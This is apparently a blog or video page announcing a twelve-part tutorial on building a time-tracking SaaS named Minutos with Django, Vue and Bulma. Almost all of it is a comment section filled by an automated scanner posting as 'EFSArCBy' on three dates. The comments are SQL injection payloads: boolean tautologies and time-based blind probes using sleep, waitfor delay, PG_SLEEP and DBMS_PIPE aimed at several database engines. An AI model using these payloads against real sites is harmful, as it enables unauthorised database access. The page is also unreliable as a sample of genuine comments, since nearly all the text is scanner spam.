Do you want to learn how to build a time tracking SaaS from scratch using Django and Vue? Then you have come to the right place.
The project we are going build is going to be called Minutos. In this video, you will see a demo of the finished product.
I'm going to split this project into 12 parts and I will be releasing three parts per week (Monday, Wednesday and Friday). The tech stack for this project will be Django and Vue, and I'll also use Bulma CSS for the design.
If this sounds like an exciting project, please click like below and feel free to leave me a comment if you have any questions.
EFSArCBy | Jul 02, 26 08:44
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
-1 OR 2+131-131-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:45
-1 OR 2+576-576-1=0+0+0+1
EFSArCBy | Jul 02, 26 08:45
-1' OR 2+985-985-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:45
-1' OR 2+649-649-1=0+0+0+1 or 'VrpMugqD'='
EFSArCBy | Jul 02, 26 08:45
-1" OR 2+857-857-1=0+0+0+1 --
EFSArCBy | Jul 02, 26 08:45
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 02, 26 08:45
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 02, 26 08:45
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 02, 26 08:45
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 02, 26 08:45
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:45
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:45
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:45
555NEdhxLOA'; waitfor delay '0:0:15' --
EFSArCBy | Jul 02, 26 08:45
555-1 OR 485=(SELECT 485 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:45
555-1) OR 476=(SELECT 476 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:45
555-1)) OR 501=(SELECT 501 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:45
5556U9UlZJH' OR 851=(SELECT 851 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:45
555P0iRrczS') OR 815=(SELECT 815 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:45
555zP5bSU8i')) OR 981=(SELECT 981 FROM PG_SLEEP(15))--
EFSArCBy | Jul 02, 26 08:45
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 02, 26 08:45
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555'"
EFSArCBy | Jul 02, 26 08:45
@@8hYTH
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
-1 OR 2+625-625-1=0+0+0+1 -- | Jul 02, 26 08:45
555
-1 OR 2+560-560-1=0+0+0+1 | Jul 02, 26 08:45
555
-1' OR 2+505-505-1=0+0+0+1 -- | Jul 02, 26 08:45
555
-1' OR 2+513-513-1=0+0+0+1 or 'a2xqpRHb'=' | Jul 02, 26 08:45
555
-1" OR 2+860-860-1=0+0+0+1 -- | Jul 02, 26 08:45
555
if(now()=sysdate(),sleep(15),0) | Jul 02, 26 08:45
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 08:45
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 08:45
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 08:45
555
EFSArCByKBEwDEpc'; waitfor delay '0:0:15' -- | Jul 02, 26 08:45
555
EFSArCBykKudxbcV' OR 396=(SELECT 396 FROM PG_SLEEP(15))-- | Jul 02, 26 08:45
555
EFSArCByGzl6kz7i') OR 417=(SELECT 417 FROM PG_SLEEP(15))-- | Jul 02, 26 08:45
555
EFSArCByan7QZLZP')) OR 548=(SELECT 548 FROM PG_SLEEP(15))-- | Jul 02, 26 08:45
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy'" | Jul 02, 26 08:45
555
@@v1owZ | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 02, 26 08:45
555
EFSArCBy | Jul 20, 26 09:04
555
EFSArCBy | Jul 20, 26 09:04
555
EFSArCBy | Jul 20, 26 09:04
555
EFSArCBy | Jul 20, 26 09:04
-1 OR 2+979-979-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:04
-1 OR 2+748-748-1=0+0+0+1
EFSArCBy | Jul 20, 26 09:04
-1' OR 2+838-838-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:04
-1' OR 2+476-476-1=0+0+0+1 or 'Lr8D54sE'='
EFSArCBy | Jul 20, 26 09:04
-1" OR 2+493-493-1=0+0+0+1 --
EFSArCBy | Jul 20, 26 09:04
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 20, 26 09:04
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 20, 26 09:04
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 20, 26 09:04
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 20, 26 09:04
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:04
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:04
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:04
555OoscZRmx'; waitfor delay '0:0:15' --
EFSArCBy | Jul 20, 26 09:04
555-1 OR 591=(SELECT 591 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:04
555-1) OR 42=(SELECT 42 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:04
555-1)) OR 365=(SELECT 365 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:05
555OHTdArqn' OR 460=(SELECT 460 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:05
555g1IpzrbL') OR 842=(SELECT 842 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:05
5555iRdjXsF')) OR 917=(SELECT 917 FROM PG_SLEEP(15))--
EFSArCBy | Jul 20, 26 09:05
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 20, 26 09:05
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555'"
EFSArCBy | Jul 20, 26 09:05
@@bpP9x
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
-1 OR 2+467-467-1=0+0+0+1 -- | Jul 20, 26 09:05
555
-1 OR 2+923-923-1=0+0+0+1 | Jul 20, 26 09:05
555
-1' OR 2+832-832-1=0+0+0+1 -- | Jul 20, 26 09:05
555
-1' OR 2+293-293-1=0+0+0+1 or 'AU4RwsNW'=' | Jul 20, 26 09:05
555
-1" OR 2+649-649-1=0+0+0+1 -- | Jul 20, 26 09:05
555
if(now()=sysdate(),sleep(15),0) | Jul 20, 26 09:05
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 09:05
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 09:05
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 09:05
555
EFSArCByWfDZFEVo'; waitfor delay '0:0:15' -- | Jul 20, 26 09:05
555
EFSArCByHNYJiAPy' OR 519=(SELECT 519 FROM PG_SLEEP(15))-- | Jul 20, 26 09:05
555
EFSArCByghjmPHAU') OR 724=(SELECT 724 FROM PG_SLEEP(15))-- | Jul 20, 26 09:05
555
EFSArCByCjbMuSPs')) OR 362=(SELECT 362 FROM PG_SLEEP(15))-- | Jul 20, 26 09:05
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy'" | Jul 20, 26 09:05
555
@@Pf9Ml | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 20, 26 09:05
555
EFSArCBy | Jul 23, 26 11:51
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
-1 OR 2+937-937-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 11:52
-1 OR 2+351-351-1=0+0+0+1
EFSArCBy | Jul 23, 26 11:52
-1' OR 2+219-219-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 11:52
-1' OR 2+842-842-1=0+0+0+1 or 'VrqpAW8p'='
EFSArCBy | Jul 23, 26 11:52
-1" OR 2+353-353-1=0+0+0+1 --
EFSArCBy | Jul 23, 26 11:52
555*if(now()=sysdate(),sleep(15),0)
EFSArCBy | Jul 23, 26 11:52
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
EFSArCBy | Jul 23, 26 11:52
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
EFSArCBy | Jul 23, 26 11:52
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
EFSArCBy | Jul 23, 26 11:52
555-1; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 11:52
555-1); waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 11:52
555-1 waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 11:52
555qe0S1KBq'; waitfor delay '0:0:15' --
EFSArCBy | Jul 23, 26 11:52
555-1 OR 575=(SELECT 575 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 11:52
555-1) OR 296=(SELECT 296 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 11:52
555-1)) OR 90=(SELECT 90 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 11:52
555b5wrbWGf' OR 317=(SELECT 317 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 11:52
5558b2KyUH2') OR 128=(SELECT 128 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 11:52
555EIp0Bjd6')) OR 848=(SELECT 848 FROM PG_SLEEP(15))--
EFSArCBy | Jul 23, 26 11:52
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
EFSArCBy | Jul 23, 26 11:52
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555'"
EFSArCBy | Jul 23, 26 11:52
@@g2W37
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
-1 OR 2+295-295-1=0+0+0+1 -- | Jul 23, 26 11:52
555
-1 OR 2+953-953-1=0+0+0+1 | Jul 23, 26 11:52
555
-1' OR 2+179-179-1=0+0+0+1 -- | Jul 23, 26 11:52
555
-1' OR 2+130-130-1=0+0+0+1 or '7hbg59th'=' | Jul 23, 26 11:52
555
-1" OR 2+61-61-1=0+0+0+1 -- | Jul 23, 26 11:52
555
if(now()=sysdate(),sleep(15),0) | Jul 23, 26 11:52
555
EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 11:52
555
EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 11:52
555
EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 11:52
555
EFSArCBy8a0z51MW'; waitfor delay '0:0:15' -- | Jul 23, 26 11:52
555
EFSArCByI4jEGphg' OR 640=(SELECT 640 FROM PG_SLEEP(15))-- | Jul 23, 26 11:52
555
EFSArCByKAyOIxEC') OR 870=(SELECT 870 FROM PG_SLEEP(15))-- | Jul 23, 26 11:52
555
EFSArCBy8eY7C3wl')) OR 49=(SELECT 49 FROM PG_SLEEP(15))-- | Jul 23, 26 11:52
555
EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy'" | Jul 23, 26 11:52
555
@@5NIO3 | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555
EFSArCBy | Jul 23, 26 11:52
555